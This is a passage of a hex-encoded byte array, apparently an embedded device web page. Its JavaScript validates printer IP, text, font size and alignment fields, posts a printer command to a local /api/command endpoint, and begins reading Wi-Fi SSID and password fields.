0x6E, 0x20, 0x31, 0x30, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x37, 0x32, 0x2E, 0x27, - 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x73, 0x74, 0x72, 0x29, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x74, 0x72, 0x2E, 0x73, 0x74, 0x61, 0x72, 0x74, 0x73, 0x57, 0x69, 0x74, 0x68, 0x28, 0x27, 0x22, 0x27, 0x29, 0x20, - 0x26, 0x26, 0x20, 0x73, 0x74, 0x72, 0x2E, 0x65, 0x6E, 0x64, 0x73, 0x57, 0x69, 0x74, 0x68, 0x28, 0x27, 0x22, 0x27, 0x29, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x73, 0x74, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x60, 0x22, 0x24, 0x7B, 0x73, 0x74, 0x72, 0x7D, 0x22, 0x60, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, - 0x74, 0x6F, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x74, 0x6F, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, - 0x73, 0x74, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x69, 0x70, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, - 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x69, 0x70, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, 0x6D, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, - 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x65, 0x78, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, 0x6D, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3D, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x49, 0x6E, 0x74, 0x28, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x27, 0x29, 0x2E, 0x76, 0x61, - 0x6C, 0x75, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x3D, 0x20, 0x67, 0x65, 0x74, - 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, - 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, - 0x69, 0x70, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x50, - 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x49, 0x50, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, - 0x78, 0x74, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x65, 0x78, - 0x74, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x69, 0x73, 0x4E, 0x61, 0x4E, 0x28, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x29, 0x20, 0x7C, 0x7C, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3C, 0x20, 0x31, 0x30, 0x20, 0x7C, - 0x7C, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x3E, 0x20, 0x37, 0x32, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x46, 0x6F, - 0x6E, 0x74, 0x20, 0x53, 0x69, 0x7A, 0x65, 0x20, 0x6D, 0x75, 0x73, 0x74, 0x20, 0x62, 0x65, 0x20, 0x62, 0x65, 0x74, 0x77, 0x65, 0x65, 0x6E, 0x20, 0x31, 0x30, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x37, 0x32, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x20, 0x3E, 0x20, 0x30, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6F, 0x72, 0x72, 0x65, 0x63, 0x74, 0x20, 0x74, 0x68, 0x65, - 0x20, 0x66, 0x6F, 0x6C, 0x6C, 0x6F, 0x77, 0x69, 0x6E, 0x67, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x3A, 0x5C, 0x6E, 0x27, 0x20, 0x2B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x6A, 0x6F, 0x69, 0x6E, 0x28, 0x27, 0x5C, 0x6E, 0x27, - 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, - 0x74, 0x20, 0x3D, 0x20, 0x77, 0x72, 0x61, 0x70, 0x49, 0x6E, 0x51, 0x75, 0x6F, 0x74, 0x65, 0x73, 0x49, 0x66, 0x4E, 0x65, 0x65, 0x64, 0x65, 0x64, 0x28, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x29, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x3D, 0x20, 0x60, 0x70, 0x6F, 0x77, 0x65, 0x72, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, - 0x72, 0x20, 0x24, 0x7B, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x69, 0x70, 0x7D, 0x20, 0x24, 0x7B, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x74, 0x65, 0x78, 0x74, 0x7D, 0x20, 0x24, 0x7B, 0x66, 0x6F, 0x6E, - 0x74, 0x73, 0x69, 0x7A, 0x65, 0x7D, 0x20, 0x24, 0x7B, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x7D, 0x60, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x65, 0x74, - 0x63, 0x68, 0x28, 0x27, 0x2F, 0x61, 0x70, 0x69, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x27, 0x2C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x65, - 0x74, 0x68, 0x6F, 0x64, 0x3A, 0x20, 0x27, 0x50, 0x4F, 0x53, 0x54, 0x27, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x3A, 0x20, - 0x7B, 0x20, 0x27, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x27, 0x3A, 0x20, 0x27, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x2F, 0x6A, 0x73, 0x6F, 0x6E, 0x27, 0x20, 0x7D, 0x2C, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x20, 0x4A, 0x53, 0x4F, 0x4E, 0x2E, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x69, 0x66, 0x79, 0x28, 0x7B, 0x20, - 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x68, 0x65, 0x6E, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x20, 0x3D, 0x3E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x72, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x2E, 0x6F, 0x6B, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, - 0x73, 0x65, 0x6E, 0x74, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6C, 0x6C, 0x79, 0x21, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x73, 0x65, 0x74, 0x54, 0x69, 0x6D, 0x65, 0x6F, 0x75, 0x74, 0x28, 0x6C, 0x6F, 0x61, 0x64, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2C, 0x20, 0x33, 0x30, 0x30, 0x30, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x20, 0x65, 0x6C, 0x73, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x69, 0x6F, - 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x61, 0x74, 0x63, 0x68, 0x28, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x3E, 0x20, 0x63, 0x6F, - 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2E, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x28, 0x27, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x73, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x3A, 0x27, 0x2C, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x67, 0x65, 0x74, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, - 0x72, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x20, 0x62, 0x61, 0x73, 0x65, 0x64, 0x20, 0x6F, 0x6E, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x67, 0x65, 0x74, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x4D, 0x61, 0x70, 0x20, 0x3D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x30, 0x22, 0x3A, 0x20, 0x22, 0x43, 0x4D, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, - 0x31, 0x22, 0x3A, 0x20, 0x22, 0x54, 0x4C, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x32, 0x22, 0x3A, 0x20, 0x22, 0x54, 0x52, 0x22, 0x2C, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x33, 0x22, 0x3A, 0x20, 0x22, 0x42, 0x52, 0x22, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x22, 0x34, 0x22, 0x3A, 0x20, 0x22, 0x42, 0x4C, 0x22, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, - 0x27, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6E, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x4D, 0x61, 0x70, 0x5B, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x5D, 0x20, 0x7C, 0x7C, 0x20, 0x22, 0x43, 0x4D, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x46, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, - 0x74, 0x20, 0x74, 0x6F, 0x20, 0x57, 0x69, 0x46, 0x69, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x54, 0x6F, 0x57, 0x69, 0x46, - 0x69, 0x28, 0x29, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x73, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, - 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x74, 0x72, 0x69, 0x6D, 0x28, - 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x3D, 0x20, 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, - 0x74, 0x2E, 0x67, 0x65, 0x74, 0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x42, 0x79, 0x49, 0x64, 0x28, 0x27, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x27, 0x29, 0x2E, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, - 0x74, 0x72, 0x69, 0x6D, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x20, 0x3D, 0x20, 0x5B, 0x5D, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x66, 0x20, 0x28, 0x73, 0x73, 0x69, 0x64, 0x20, 0x3D, 0x3D, 0x3D, 0x20, 0x27, 0x27, 0x29, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x73, 0x2E, 0x70, - 0x75, 0x73, 0x68, 0x28, 0x27, 0x50, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x61, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x2E, 0x27, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 